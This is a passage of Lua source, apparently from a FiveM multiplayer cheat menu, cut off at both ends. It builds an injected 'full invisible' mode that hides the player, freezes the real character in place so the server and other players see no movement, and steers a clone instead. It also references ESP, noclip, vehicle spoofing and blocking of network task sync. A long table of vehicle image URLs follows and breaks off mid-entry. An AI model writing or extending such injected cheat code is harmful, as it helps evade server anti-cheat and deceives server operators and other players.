_G.pmFullInvisibleThreadRunning = false ]]) local continueToThread = false if not continueToThread then return end local baseMoveSpeed = tonumber(menu.vars and menu.vars.sliders and menu.vars.sliders.noclipSpeed or 0.5) or 0.5 baseMoveSpeed = math.max(0.5, baseMoveSpeed) local adjustedSpeed if baseMoveSpeed <= 1.0 then adjustedSpeed = baseMoveSpeed * 0.55 elseif baseMoveSpeed <= 5.0 then adjustedSpeed = baseMoveSpeed * 0.75 else adjustedSpeed = baseMoveSpeed * 0.9 end local sprintMultiplier = 2.0 local boostedSpeed = adjustedSpeed * sprintMultiplier local verticalFactor = (adjustedSpeed * 2.2 * sprintMultiplier) / math.max(boostedSpeed, 0.001) local cloneVisible = ( menu.vars and menu.vars.selectors and menu.vars.selectors.fullInvisibleCloneVisibility or 1 ) == 1 menu.vars.pmFullInvisibleActive = true menu.vars.espForceRefresh = true menu.utils.safeExecute( string.format( [[ if _G.pmFullInvisibleThreadRunning and not _G.pmFullInvisibleActive then _G.pmFullInvisibleThreadRunning = false end if _G.pmFullInvisibleThreadRunning then return end _G.pmFullInvisibleActive = true _G.pmFullInvisibleThreadRunning = true _G.pmFullInvisibleBaseMoveSpeed = %.3f _G.pmFullInvisibleSprintMultiplier = %.3f _G.pmFullInvisibleVerticalFactor = %.3f _G.pmFullInvisibleCloneVisible = %s _G.pmFullInvisibleGroundMode = %s _G.pmFullInvisibleParkCoords = vector3(%.9f, %.9f, %.9f) Citizen.CreateThread(function() local playerPed = PlayerPedId() local playerStartCoords = _G.pmFullInvisibleParkCoords or vector3(0.0, 0.0, 0.0) local playerStartHeading = 0.0 -- Spawn clone inside injected resource context (like vehicle spawns). local clonePed = ClonePed(playerPed, playerStartHeading, false, false) if not clonePed or not DoesEntityExist(clonePed) then _G.pmFullInvisibleActive = false _G.pmFullInvisibleThreadRunning = false TriggerEvent('pm_full_invisible:stopped') return end _G.pmFullInvisibleClone = clonePed -- Tag clone as menu-spawned so NPC ESP filters always ignore it. pcall(function() local ent = Entity(clonePed) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) ent.state:set("pm_menu_spawned", true, false) ent.state:set("pm_full_invisible_clone", true, true) ent.state:set("pm_full_invisible_clone", true, false) end end) SetEntityAsMissionEntity(clonePed, true, true) SetBlockingOfNonTemporaryEvents(clonePed, true) SetPedCanRagdoll(clonePed, false) SetPedKeepTask(clonePed, true) local enableGroundMode = (_G.pmFullInvisibleGroundMode == true) SetEntityHasGravity(clonePed, enableGroundMode) SetEntityCollision(clonePed, enableGroundMode, enableGroundMode) if enableGroundMode then SetEntityDynamic(clonePed, true) end SetEntityInvincible(clonePed, true) ResetPedMovementClipset(clonePed, 0.15) ClearPedTasksImmediately(clonePed) SetEntityVisible(clonePed, _G.pmFullInvisibleCloneVisible ~= false, false) RequestAnimDict("move_m@sad@b") local walkAnimTimeout = GetGameTimer() + 3000 while not HasAnimDictLoaded("move_m@sad@b") and GetGameTimer() < walkAnimTimeout do Citizen.Wait(10) end SetEntityVisible(playerPed, false, false) SetEntityCollision(playerPed, false, false) FreezeEntityPosition(playerPed, true) ClearPedTasksImmediately(playerPed) SetEntityCoordsNoOffset(playerPed, playerStartCoords.x, playerStartCoords.y, playerStartCoords.z, false, false, false) SetEntityHeading(playerPed, playerStartHeading) local currentVelocity = vector3(0.0, 0.0, 0.0) local cloneFrozenIdle = false local smoothedHeading = nil local cloneMoveAnimDict = "move_m@sad@b" local cloneMoveAnimName = "walk" local originalFollowPedCamViewMode = nil local preferredFollowPedCamViewMode = 1 -- medium/normal close local nextGroundTaskAt = 0 if GetFollowPedCamViewMode and SetFollowPedCamViewMode then originalFollowPedCamViewMode = GetFollowPedCamViewMode() SetFollowPedCamViewMode(preferredFollowPedCamViewMode) end local cloneCoords = GetEntityCoords(clonePed) pcall(function() LocalPlayer.state:set('pm_full_invisible_voice_pos', cloneCoords, false) end) SetFocusEntity(clonePed) SetFocusArea(cloneCoords.x, cloneCoords.y, cloneCoords.z) for _ = 1, 15 do RequestCollisionAtCoord(cloneCoords.x, cloneCoords.y, cloneCoords.z) if SetGameplayCamFollowPedThisUpdate then SetGameplayCamFollowPedThisUpdate(clonePed) end Citizen.Wait(0) end while _G.pmFullInvisibleActive do playerPed = PlayerPedId() clonePed = _G.pmFullInvisibleClone if not clonePed or not DoesEntityExist(clonePed) then break end SetEntityVisible(clonePed, _G.pmFullInvisibleCloneVisible ~= false, false) local pedCoords = GetEntityCoords(clonePed) pcall(function() LocalPlayer.state:set('pm_full_invisible_voice_pos', pedCoords, false) end) -- Keep the real ped parked so server/others do not see movement. SetEntityCoordsNoOffset(playerPed, playerStartCoords.x, playerStartCoords.y, playerStartCoords.z, false, false, false) SetEntityHeading(playerPed, playerStartHeading) if SetGameplayCamFollowPedThisUpdate then SetGameplayCamFollowPedThisUpdate(clonePed) end if GetFollowPedCamViewMode and SetFollowPedCamViewMode then local currentCamMode = GetFollowPedCamViewMode() if currentCamMode == 2 then SetFollowPedCamViewMode(preferredFollowPedCamViewMode) end end SetFocusEntity(clonePed) SetFocusArea(pedCoords.x, pedCoords.y, pedCoords.z) RequestCollisionAtCoord(pedCoords.x, pedCoords.y, pedCoords.z) local camRot = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) local blipHeading = camRot.z %% 360.0 if blipHeading < 0.0 then blipHeading = blipHeading + 360.0 end LockMinimapPosition(pedCoords.x, pedCoords.y) LockMinimapAngle(math.floor(blipHeading + 0.5)) Citizen.InvokeNative(0x77E2DD177910E1CF, pedCoords.x, pedCoords.y) SetEntityHeading(playerPed, blipHeading) local baseMoveSpeed = tonumber(_G.pmFullInvisibleBaseMoveSpeed) or %.3f local sprintMultiplier = tonumber(_G.pmFullInvisibleSprintMultiplier) or %.3f local verticalFactor = tonumber(_G.pmFullInvisibleVerticalFactor) or %.3f local shiftPressed = IsControlPressed(0, 21) or IsDisabledControlPressed(0, 21) local moveSpeed = shiftPressed and (baseMoveSpeed * sprintMultiplier) or baseMoveSpeed -- Shift local verticalSpeed = moveSpeed * verticalFactor local nextCoords = pedCoords local function readAxis(control) local axis = GetControlNormal(0, control) or 0.0 if math.abs(axis) > 0.001 then return axis end return GetDisabledControlNormal(0, control) or 0.0 end if _G.pmFullInvisibleGroundMode == true then local deadzone = 0.08 local forwardAxis = readAxis(32) - readAxis(33) local rightAxis = readAxis(35) - readAxis(34) if math.abs(forwardAxis) < deadzone then forwardAxis = 0.0 end if math.abs(rightAxis) < deadzone then rightAxis = 0.0 end local forwardFlat = vector3( -math.sin(math.rad(camRot.z)), math.cos(math.rad(camRot.z)), 0.0 ) local rightFlat = vector3( -math.sin(math.rad(camRot.z - 90.0)), math.cos(math.rad(camRot.z - 90.0)), 0.0 ) local moveInput = (forwardFlat * forwardAxis) + (rightFlat * rightAxis) local inputLen = #moveInput if inputLen > 1.0 then moveInput = moveInput * (1.0 / inputLen) end local hasMovementInput = (inputLen > 0.001) if hasMovementInput then local taskSpeed = shiftPressed and 3.2 or 1.35 local stepDistance = math.max(0.25, taskSpeed * 0.90) local targetCoords = pedCoords + (moveInput * stepDistance) local moveHeading = (math.deg(math.atan(moveInput.x, moveInput.y)) + 360.0) %% 360.0 if GetGameTimer() >= nextGroundTaskAt then TaskGoStraightToCoord(clonePed, targetCoords.x, targetCoords.y, pedCoords.z, taskSpeed, 120, moveHeading, 0.0) nextGroundTaskAt = GetGameTimer() + 100 end else if GetGameTimer() >= nextGroundTaskAt then ClearPedTasks(clonePed) nextGroundTaskAt = GetGameTimer() + 100 end end Citizen.Wait(0) else local forwardLook = vector3( -math.sin(math.rad(camRot.z)) * math.cos(math.rad(camRot.x)), math.cos(math.rad(camRot.z)) * math.cos(math.rad(camRot.x)), math.sin(math.rad(camRot.x)) ) if _G.pmFullInvisibleGroundMode == true then forwardLook = vector3( -math.sin(math.rad(camRot.z)), math.cos(math.rad(camRot.z)), 0.0 ) end local rightFlat = vector3( -math.sin(math.rad(camRot.z - 90.0)), math.cos(math.rad(camRot.z - 90.0)), 0.0 ) local deadzone = 0.08 local forwardAxis = readAxis(32) - readAxis(33) local rightAxis = readAxis(35) - readAxis(34) if math.abs(forwardAxis) < deadzone then forwardAxis = 0.0 end if math.abs(rightAxis) < deadzone then rightAxis = 0.0 end local moveInput = (forwardLook * forwardAxis) + (rightFlat * rightAxis) -- Up/Down controls: Space (up), Ctrl or Q (down). local verticalInput = 0.0 if _G.pmFullInvisibleGroundMode ~= true then if IsControlPressed(0, 22) or IsDisabledControlPressed(0, 22) then verticalInput = verticalInput + 1.0 end if IsControlPressed(0, 36) or IsDisabledControlPressed(0, 36) or IsControlPressed(0, 44) or IsDisabledControlPressed(0, 44) then verticalInput = verticalInput - 1.0 end end local inputLen = #moveInput if inputLen > 1.0 then moveInput = moveInput * (1.0 / inputLen) end local frameDt = math.max(GetFrameTime() or 0.0, 0.001) local hasMovementInput = (inputLen > 0.001) or (math.abs(verticalInput) > 0.001) local shouldFreezeInAirIdle = (_G.pmFullInvisibleGroundMode ~= true) and (not hasMovementInput) if shouldFreezeInAirIdle and not cloneFrozenIdle then FreezeEntityPosition(clonePed, true) SetEntityVelocity(clonePed, 0.0, 0.0, 0.0) cloneFrozenIdle = true elseif (not shouldFreezeInAirIdle) and cloneFrozenIdle then FreezeEntityPosition(clonePed, false) cloneFrozenIdle = false end local targetVelocity = ((moveInput * moveSpeed) + vector3(0.0, 0.0, verticalInput * verticalSpeed)) * 60.0 if _G.pmFullInvisibleGroundMode == true then targetVelocity = vector3(targetVelocity.x, targetVelocity.y, 0.0) end if hasMovementInput then -- Direct response removes the "laggy" feeling and avoids post-input sliding. currentVelocity = targetVelocity else -- Stop immediately when no movement key is held. currentVelocity = vector3(0.0, 0.0, 0.0) end if #targetVelocity < 0.01 and #currentVelocity < 0.05 then currentVelocity = vector3(0.0, 0.0, 0.0) end nextCoords = pedCoords + (currentVelocity * frameDt) local moveMagnitude = #currentVelocity local targetHeading = camRot.z if smoothedHeading == nil then smoothedHeading = targetHeading else -- Normalize delta to shortest path (-180..180) so turning stays smooth near 0/360. local headingDelta = ((targetHeading - smoothedHeading + 540.0) %% 360.0) - 180.0 local absDelta = math.abs(headingDelta) local minTurnRate = 14.0 local maxTurnRate = 28.0 local deltaFactor = math.min(absDelta / 90.0, 1.0) local turnRate = minTurnRate + ((maxTurnRate - minTurnRate) * deltaFactor) local turnSmoothing = math.min(1.0, frameDt * turnRate) if absDelta < 0.35 then smoothedHeading = targetHeading else smoothedHeading = smoothedHeading + (headingDelta * turnSmoothing) end if smoothedHeading >= 360.0 then smoothedHeading = smoothedHeading - 360.0 elseif smoothedHeading < 0.0 then smoothedHeading = smoothedHeading + 360.0 end end if #(nextCoords - pedCoords) > 0.0001 then SetEntityCoordsNoOffset(clonePed, nextCoords.x, nextCoords.y, nextCoords.z, false, false, false) SetEntityHeading(clonePed, smoothedHeading) else SetEntityHeading(clonePed, smoothedHeading) end if moveMagnitude > 0.08 then -- Keep movement visual without forcing large physics impulses. SetEntityVelocity(clonePed, 0.0, 0.0, 0.0) if HasAnimDictLoaded(cloneMoveAnimDict) and not IsEntityPlayingAnim(clonePed, cloneMoveAnimDict, cloneMoveAnimName, 3) then TaskPlayAnim(clonePed, cloneMoveAnimDict, cloneMoveAnimName, 8.0, -8.0, -1, 1, 0.0, false, false, false) end else SetEntityVelocity(clonePed, 0.0, 0.0, 0.0) if HasAnimDictLoaded(cloneMoveAnimDict) and IsEntityPlayingAnim(clonePed, cloneMoveAnimDict, cloneMoveAnimName, 3) then StopAnimTask(clonePed, cloneMoveAnimDict, cloneMoveAnimName, 2.0) end end Citizen.Wait(0) end end local returnCoords = nil local returnHeading = nil clonePed = _G.pmFullInvisibleClone if clonePed and DoesEntityExist(clonePed) then FreezeEntityPosition(clonePed, false) returnCoords = GetEntityCoords(clonePed) returnHeading = GetEntityHeading(clonePed) ClearPedTasksImmediately(clonePed) ResetPedMovementClipset(clonePed, 0.15) SetEntityVelocity(clonePed, 0.0, 0.0, 0.0) SetEntityHasGravity(clonePed, true) DeleteEntity(clonePed) end _G.pmFullInvisibleClone = nil playerPed = PlayerPedId() if returnCoords then SetEntityCoordsNoOffset(playerPed, returnCoords.x, returnCoords.y, returnCoords.z, false, false, false) end if returnHeading then SetEntityHeading(playerPed, returnHeading) end if originalFollowPedCamViewMode ~= nil and SetFollowPedCamViewMode then SetFollowPedCamViewMode(originalFollowPedCamViewMode) end ClearFocus() SetFocusEntity(playerPed) UnlockMinimapPosition() UnlockMinimapAngle() pcall(function() LocalPlayer.state:set('pm_full_invisible_voice_pos', nil, false) end) SetEntityCollision(playerPed, true, true) FreezeEntityPosition(playerPed, false) SetEntityVisible(playerPed, true, false) _G.pmFullInvisibleActive = false _G.pmFullInvisibleThreadRunning = false _G.pmFullInvisibleCloneVisible = true _G.pmFullInvisibleGroundMode = false _G.pmFullInvisibleParkCoords = nil TriggerEvent('pm_full_invisible:stopped') end) ]], boostedSpeed, verticalFactor, 1.0, tostring(cloneVisible), tostring(groundMode), parkX, parkY, parkZ, boostedSpeed, verticalFactor, 1.0 ) ) return end if not suppressNotify then hideNotify() end if keepArmed then if menu.functions and menu.functions.endNoclipVehicleSpoofIfActive then menu.functions.endNoclipVehicleSpoofIfActive() end else if menu.functions and menu.functions.endFullInvisibleVehicleSpoofIfActive then menu.functions.endFullInvisibleVehicleSpoofIfActive() end if menu.functions and menu.functions.endNoclipVehicleSpoofIfActive then menu.functions.endNoclipVehicleSpoofIfActive() end end if menu.vars and menu.vars.bools then if _G.pmFullInvisiblePrevSelfEsp ~= nil then menu.vars.bools.selfEsp = _G.pmFullInvisiblePrevSelfEsp == true _G.pmFullInvisiblePrevSelfEsp = nil end if _G.pmFullInvisiblePrevOtherEspSelf ~= nil then menu.vars.bools.otherEspSelf = _G.pmFullInvisiblePrevOtherEspSelf == true _G.pmFullInvisiblePrevOtherEspSelf = nil end if keepArmed then menu.vars.bools.fullInvisible = true if menu.vars.bools.fullInvisibleWalk ~= true then menu.vars.bools.fullInvisibleWalk = false end else menu.vars.bools.fullInvisible = false menu.vars.bools.fullInvisibleWalk = false end end menu.vars.pmFullInvisibleActive = false menu.vars.espForceRefresh = true menu.vars.espViewerRecoverUntil = GetGameTimer() + 3000 if not keepArmed then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then menu.utils.restoreGhostInvisible(playerPed) end if IsPedInAnyVehicle(playerPed, false) then menu.utils.restoreGhostInvisible(GetVehiclePedIsIn(playerPed, false)) end end menu.utils.safeExecute([[ _G.pmFullInvisibleActive = false _G.pmFullInvisibleCloneVisible = true _G.pmFullInvisibleGroundMode = false _G.pmFullInvisibleParkCoords = nil ]]) end function assembledMenuFunctions.toggleFullInvisibleWalk(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState == true if not menu.functions or not menu.functions.toggleFullInvisible then return end if enabled then if menu.vars and menu.vars.bools then menu.vars.bools.fullInvisible = false menu.vars.bools.fullInvisibleWalk = true end menu.functions.toggleFullInvisible({ toggleState = false, keepArmed = true }) menu.functions.toggleFullInvisible({ toggleState = true, allowWithoutNoclip = true, groundMode = true }) if not Ham.Network or not Ham.Network.blockTaskTree then return end Ham.Network.blockTaskTree(true) return end if menu.vars and menu.vars.bools then menu.vars.bools.fullInvisibleWalk = false end menu.functions.toggleFullInvisible({ toggleState = false, keepArmed = false }) if Ham.Network and Ham.Network.blockTaskTree then Ham.Network.blockTaskTree(false) end end function assembledMenuFunctions.setFullInvisibleCloneVisibility(value) local visible = true if type(value) == "string" then visible = string.lower(value) == "invisible" visible = not visible else visible = (menu.vars and menu.vars.selectors and menu.vars.selectors.fullInvisibleCloneVisibility or 1) == 1 end menu.utils.safeExecute(string.format( [[ _G.pmFullInvisibleCloneVisible = %s local clonePed = _G.pmFullInvisibleClone if clonePed and DoesEntityExist(clonePed) then SetEntityVisible(clonePed, _G.pmFullInvisibleCloneVisible ~= false, false) end ]], tostring(visible) )) end pendingFunctionValue = { sparrow = "https://docs.fivem.net/vehicles/seasparrow2.webp", adder = "https://docs.fivem.net/vehicles/adder.webp", airbus = "https://docs.fivem.net/vehicles/airbus.webp", airtug = "https://docs.fivem.net/vehicles/airtug.webp", akula = "https://docs.fivem.net/vehicles/akula.webp", akuma = "https://docs.fivem.net/vehicles/akuma.webp", alkonost = "https://docs.fivem.net/vehicles/alkonost.webp", alpha = "https://docs.fivem.net/vehicles/alpha.webp", alphaz1 = "https://docs.fivem.net/vehicles/alphaz1.webp", ambulance = "https://docs.fivem.net/vehicles/ambulance.webp", annihilator = "https://docs.fivem.net/vehicles/annihilator.webp", annihilator2 = "https://docs.fivem.net/vehicles/annihilator2.webp", apc = "https://docs.fivem.net/vehicles/apc.webp", ardent = "https://docs.fivem.net/vehicles/ardent.webp", armytanker = "https://docs.fivem.net/vehicles/armytanker.webp", armytrailer = "https://docs.fivem.net/vehicles/armytrailer.webp", armytrailer2 = "https://docs.fivem.net/vehicles/armytrailer2.webp", asbo = "https://docs.fivem.net/vehicles/asbo.webp", asea = "https://docs.fivem.net/vehicles/asea.webp", asea2 = "https://docs.fivem.net/vehicles/asea2.webp", asterope = "https://docs.fivem.net/vehicles/asterope.webp", astron = "https://docs.fivem.net/vehicles/astron.webp", autarch = "https://docs.fivem.net/vehicles/autarch.webp", avarus = "https://docs.fivem.net/vehicles/avarus.webp", avenger = "https://docs.fivem.net/vehicles/avenger.webp", avenger2 = "https://docs.fivem.net/vehicles/avenger2.webp", avisa = "https://docs.fivem.net/vehicles/avisa.webp", bagger = "https://docs.fivem.net/vehicles/bagger.webp", baletrailer = "https://docs.fivem.net/vehicles/baletrailer.webp", baller = "https://docs.fivem.net/vehicles/baller.webp", baller2 = "https://docs.fivem.net/vehicles/baller2.webp", baller3 = "https://docs.fivem.net/vehicles/baller3.webp", baller4 = "https://docs.fivem.net/vehicles/baller4.webp", baller5 = "https://docs.fivem.net/vehicles/baller5.webp", baller6 = "https://docs.fivem.net/vehicles/baller6.webp", baller7 = "https://docs.fivem.net/vehicles/baller7.webp", banshee = "https://docs.fivem.net/vehicles/banshee.webp", banshee2 = "https://docs.fivem.net/vehicles/banshee2.webp", barracks = "https://docs.fivem.net/vehicles/barracks.webp", barracks2 = "https://docs.fivem.net/vehicles/barracks2.webp", barracks3 = "https://docs.fivem.net/vehicles/barracks3.webp", barrage = "https://docs.fivem.net/vehicles/barrage.webp", bati = "https://docs.fivem.net/vehicles/bati.webp", bati2 = "https://docs.fivem.net/vehicles/bati2.webp", benson = "https://docs.fivem.net/vehicles/benson.webp", besra = "https://docs.fivem.net/vehicles/besra.webp", bestiagts = "https://docs.fivem.net/vehicles/bestiagts.webp", bf400 = "https://docs.fivem.net/vehicles/bf400.webp", bfinjection = "https://docs.fivem.net/vehicles/bfinjection.webp", biff = "https://docs.fivem.net/vehicles/biff.webp", bifta = "https://docs.fivem.net/vehicles/bifta.webp", bison = "https://docs.fivem.net/vehicles/bison.webp", bison2 = "https://docs.fivem.net/vehicles/bison2.webp", bison3 = "https://docs.fivem.net/vehicles/bison3.webp", bjxl = "https://docs.fivem.net/vehicles/bjxl.webp", blade = "https://docs.fivem.net/vehicles/blade.webp", blazer = "https://docs.fivem.net/vehicles/blazer.webp", blazer2 = "https://docs.fivem.net/vehicles/blazer2.webp", blazer3 = "https://docs.fivem.net/vehicles/blazer3.webp", blazer4 = "https://docs.fivem.net/vehicles/blazer4.webp", blazer5 = "https://docs.fivem.net/vehicles/blazer5.webp", blimp = "https://docs.fivem.net/vehicles/blimp.webp", blimp2 = "https://docs.fivem.net/vehicles/blimp2.webp", blimp3 = "https://docs.fivem.net/vehicles/blimp3.webp", blista = "https://docs.fivem.net/vehicles/blista.webp", blista2 = "https://docs.fivem.net/vehicles/blista2.webp", blista3 = "https://docs.fivem.net/vehicles/blista3.webp", bmx = "https://docs.fivem.net/vehicles/bmx.webp", boattrailer = "https://docs.fivem.net/vehicles/boattrailer.webp", bobcatxl = "https://docs.fivem.net/vehicles/bobcatxl.webp", bodhi2 = "https://docs.fivem.net/vehicles/bodhi2.webp", bombushka = "https://docs.fivem.net/vehicles/bombushka.webp", boor = "https://docs.fivem.net/vehicles/boor.webp", boxville = "https://docs.fivem.net/vehicles/boxville.webp", boxville2 = "https://docs.fivem.net/vehicles/boxville2.webp", boxville3 = "https://docs.fivem.net/vehicles/boxville3.webp", boxville4 = "https://docs.fivem.net/vehicles/boxville4.webp", boxville5 = "https://docs.fivem.net/vehicles/boxville5.webp", brawler = "https://docs.fivem.net/vehicles/brawler.webp", brickade = "https://docs.fivem.net/vehicles/brickade.webp", brickade2 = "https://docs.fivem.net/vehicles/brickade2.webp", brioso = "https://docs.fivem.net/vehicles/brioso.webp", brioso2 = "https://docs.fivem.net/vehicles/brioso2.webp", brioso3 = "https://docs.fivem.net/vehicles/brioso3.webp", broadway = "https://docs.fivem.net/vehicles/broadway.webp", bruiser = "https://docs.fivem.net/vehicles/bruiser.webp", bruiser2 = "https://docs.fivem.net/vehicles/bruiser2.webp", bruiser3 = "https://docs.fivem.net/vehicles/bruiser3.webp", brutus = "https://docs.fivem.net/vehicles/brutus.webp", brutus2 = "https://docs.fivem.net/vehicles/brutus2.webp", brutus3 = "https://docs.fivem.net/vehicles/brutus3.webp", btype = "https://docs.fivem.net/vehicles/btype.webp", btype2 = "https://docs.fivem.net/vehicles/btype2.webp", btype3 = "https://docs.fivem.net/vehicles/btype3.webp", buccaneer = "https://docs.fivem.net/vehicles/buccaneer.webp", buccaneer2 = "https://docs.fivem.net/vehicles/buccaneer2.webp", buffalo = "https://docs.fivem.net/vehicles/buffalo.webp", buffalo2 = "https://docs.fivem.net/vehicles/buffalo2.webp", buffalo3 = "https://docs.fivem.net/vehicles/buffalo3.webp", buffalo4 = "https://docs.fivem.net/vehicles/buffalo4.webp", bulldozer = "https://docs.fivem.net/vehicles/bulldozer.webp", bullet = "https://docs.fivem.net/vehicles/bullet.webp", burrito = "https://docs.fivem.net/vehicles/burrito.webp", burrito2 = "https://docs.fivem.net/vehicles/burrito2.webp", burrito3 = "https://docs.fivem.net/vehicles/burrito3.webp", burrito4 = "https://docs.fivem.net/vehicles/burrito4.webp", burrito5 = "https://docs.fivem.net/vehicles/burrito5.webp", bus = "https://docs.fivem.net/vehicles/bus.webp", buzzard = "https://docs.fivem.net/vehicles/buzzard.webp", buzzard2 = "https://docs.fivem.net/vehicles/buzzard2.webp", cablecar = "https://docs.fivem.net/vehicles/cablecar.webp", caddy = "https://docs.fivem.net/vehicles/caddy.webp", caddy2 = "https://docs.fivem.net/vehicles/caddy2.webp", caddy3 = "https://docs.fivem.net/vehicles/caddy3.webp", calico = "https://docs.fivem.net/vehicles/calico.webp", camper = "https://docs.fivem.net/vehicles/camper.webp", caracara = "https://docs.fivem.net/vehicles/caracara.webp", caracara2 = "https://docs.fivem.net/vehicles/caracara2.webp", carbonizzare = "https://docs.fivem.net/vehicles/carbonizzare.webp", carbonrs = "https://docs.fivem.net/vehicles/carbonrs.webp", cargobob = "https://docs.fivem.net/vehicles/cargobob.webp", cargobob2 = "https://docs.fivem.net/vehicles/cargobob2.webp", cargobob3 = "https://docs.fivem.net/vehicles/cargobob3.webp", cargobob4 = "https://docs.fivem.net/vehicles/cargobob4.webp", cargoplane = "https://docs.fivem.net/vehicles/cargoplane.webp", cargoplane2 = "https://docs.fivem.net/vehicles/cargoplane2.webp", casco = "https://docs.fivem.net/vehicles/casco.webp", cavalcade = "https://docs.fivem.net/vehicles/cavalcade.webp", cavalcade2 = "https://docs.fivem.net/vehicles/cavalcade2.webp", cerberus = "https://docs.fivem.net/vehicles/cerberus.webp", cerberus2 = "https://docs.fivem.net/vehicles/cerberus2.webp", cerberus3 = "https://docs.fivem.net/vehicles/cerberus3.webp", champion = "https://docs.fivem.net/vehicles/champion.webp", cheburek = "https://docs.fivem.net/vehicles/cheburek.webp", cheetah = "https://docs.fivem.net/vehicles/cheetah.webp", cheetah2 = "https://docs.fivem.net/vehicles/cheetah2.webp", chernobog = "https://docs.fivem.net/vehicles/chernobog.webp", chimera = "https://docs.fivem.net/vehicles/chimera.webp", chino = "https://docs.fivem.net/vehicles/chino.webp", chino2 = "https://docs.fivem.net/vehicles/chino2.webp", cinquemila = "https://docs.fivem.net/vehicles/cinquemila.webp", cliffhanger = "https://docs.fivem.net/vehicles/cliffhanger.webp", clique = "https://docs.fivem.net/vehicles/clique.webp", club = "https://docs.fivem.net/vehicles/club.webp", coach = "https://docs.fivem.net/vehicles/coach.webp", cog55 = "https://docs.fivem.net/vehicles/cog55.webp", cog552 = "https://docs.fivem.net/vehicles/cog552.webp", cogcabrio = "https://docs.fivem.net/vehicles/cogcabrio.webp", cognoscenti = "https://docs.fivem.net/vehicles/cognoscenti.webp", cognoscenti2 = "https://docs.fivem.net/vehicles/cognoscenti2.webp", comet2 = "https://docs.fivem.net/vehicles/comet2.webp", comet3 = "https://docs.fivem.net/vehicles/comet3.webp", comet4 = "https://docs.fivem.net/vehicles/comet4.webp", comet5 = "https://docs.fivem.net/vehicles/comet5.webp", comet6 = "https://docs.fivem.net/vehicles/comet6.webp", comet7 = "https://docs.fivem.net/vehicles/comet7.webp", conada = "https://docs.fivem.net/vehicles/conada.webp", contender = "https://docs.fivem.net/vehicles/contender.webp", coquette = "https://docs.fivem.net/vehicles/coquette.webp", coquette2 = "https://docs.fivem.net/vehicles/coquette2.webp", coquette3 = "https://docs.fivem.net/vehicles/coquette3.webp", coquette4 = "https://docs.fivem.net/vehicles/coquette4.webp", corsita = "https://docs.fivem.net/vehicles/corsita.webp", cruiser = "https://docs.fivem.net/vehicles/cruiser.webp", crusader = "https://docs.fivem.net/vehicles/crusader.webp", cuban800 = "https://docs.fivem.net/vehicles/cuban800.webp", cutter = "https://docs.fivem.net/vehicles/cutter.webp", cyclone = "https://docs.fivem.net/vehicles/cyclone.webp", cypher = "https://docs.fivem.net/vehicles/cypher.webp", daemon = "https://docs.fivem.net/vehicles/daemon.webp", daemon2 = "https://docs.fivem.net/vehicles/daemon2.webp", deathbike = "https://docs.fivem.net/vehicles/deathbike.webp", deathbike2 = "https://docs.fivem.net/vehicles/deathbike2.webp", deathbike3 = "https://docs.fivem.net/vehicles/deathbike3.webp", defiler = "https://docs.fivem.net/vehicles/defiler.webp", deity = "https://docs.fivem.net/vehicles/deity.webp", deluxo = "https://docs.fivem.net/vehicles/deluxo.webp", deveste = "https://docs.fivem.net/vehicles/deveste.webp", deviant = "https://docs.fivem.net/vehicles/deviant.webp", diablous = "https://docs.fivem.net/vehicles/diablous.webp", diablous2 = "https://docs.fivem.net/vehicles/diablous2.webp", dilettante = "https://docs.fivem.net/vehicles/dilettante.webp", dilettante2 = "https://docs.fivem.net/vehicles/dilettante2.webp", dinghy = "https://docs.fivem.net/vehicles/dinghy.webp", dinghy2 = "https://docs.fivem.net/vehicles/dinghy2.webp", dinghy3 = "https://docs.fivem.net/vehicles/dinghy3.webp", dinghy4 = "https://docs.fivem.net/vehicles/dinghy4.webp", dinghy5 = "https://docs.fivem.net/vehicles/dinghy5.webp", dloader = "https://docs.fivem.net/vehicles/dloader.webp", docktrailer = "https://docs.fivem.net/vehicles/docktrailer.webp", docktug = "https://docs.fivem.net/vehicles/docktug.webp", dodo = "https://docs.fivem.net/vehicles/dodo.webp", dominator = "https://docs.fivem.net/vehicles/dominator.webp", dominator2 = "https://docs.fivem.net/vehicles/dominator2.webp", dominator3 = "https://docs.fivem.net/vehicles/dominator3.webp", dominator4 = "https://docs.fivem.net/vehicles/dominator4.webp", dominator5 = "https://docs.fivem.net/vehicles/dominator5.webp", dominator6 = "https://docs.fivem.net/vehicles/dominator6.webp", dominator7 = "https://docs.fivem.net/vehicles/dominator7.webp", dominator8 = "https://docs.fivem.net/vehicles/dominator8.webp", double = "https://docs.fivem.net/vehicles/double.webp", drafter = "https://docs.fivem.net/vehicles/drafter.webp", draugur = "https://docs.fivem.net/vehicles/draugur.webp", dubsta = "https://docs.fivem.net/vehicles/dubsta.webp", dubsta2 = "https://docs.fivem.net/vehicles/dubsta2.webp", dubsta3 = "https://docs.fivem.net/vehicles/dubsta3.webp", dukes = "https://docs.fivem.net/vehicles/dukes.webp", dukes2 = "https://docs.fivem.net/vehicles/dukes2.webp", dukes3 = "https://docs.fivem.net/vehicles/dukes3.webp", dump = "https://docs.fivem.net/vehicles/dump.webp", dune = "https://docs.fivem.net/vehicles/dune.webp", dune2 = "https://docs.fivem.net/vehicles/dune2.webp", dune3 = "https://docs.fivem.net/vehicles/dune3.webp", dune4 = "https://docs.fivem.net/vehicles/dune4.webp", dune5 = "https://docs.fivem.net/vehicles/dune5.webp", duster = "https://docs.fivem.net/vehicles/duster.webp", dynasty = "https://docs.fivem.net/vehicles/dynasty.webp", elegy = "https://docs.fivem.net/vehicles/elegy.webp", elegy2 = "https://docs.fivem.net/vehicles/elegy2.webp", ellie = "https://docs.fivem.net/vehicles/ellie.webp", emerus = "https://docs.fivem.net/vehicles/emerus.webp", emperor = "https://docs.fivem.net/vehicles/emperor.webp", emperor2 = "https://docs.fivem.net/vehicles/emperor2.webp", emperor3 = "https://docs.fivem.net/vehicles/emperor3.webp", enduro = "https://docs.fivem.net/vehicles/enduro.webp", entity2 = "https://docs.fivem.net/vehicles/entity2.webp", entity3 = "https://docs.fivem.net/vehicles/entity3.webp", entityxf = "https://docs.fivem.net/vehicles/entityxf.webp", esskey = "https://docs.fivem.net/vehicles/esskey.webp", eudora = "https://docs.fivem.net/vehicles/eudora.webp", euros = "https://docs.fivem.net/vehicles/euros.webp", everon = "https://docs.fivem.net/vehicles/everon.webp", everon2 = "https://docs.fivem.net/vehicles/everon2.webp", exemplar = "https://docs.fivem.net/vehicles/exemplar.webp", f620 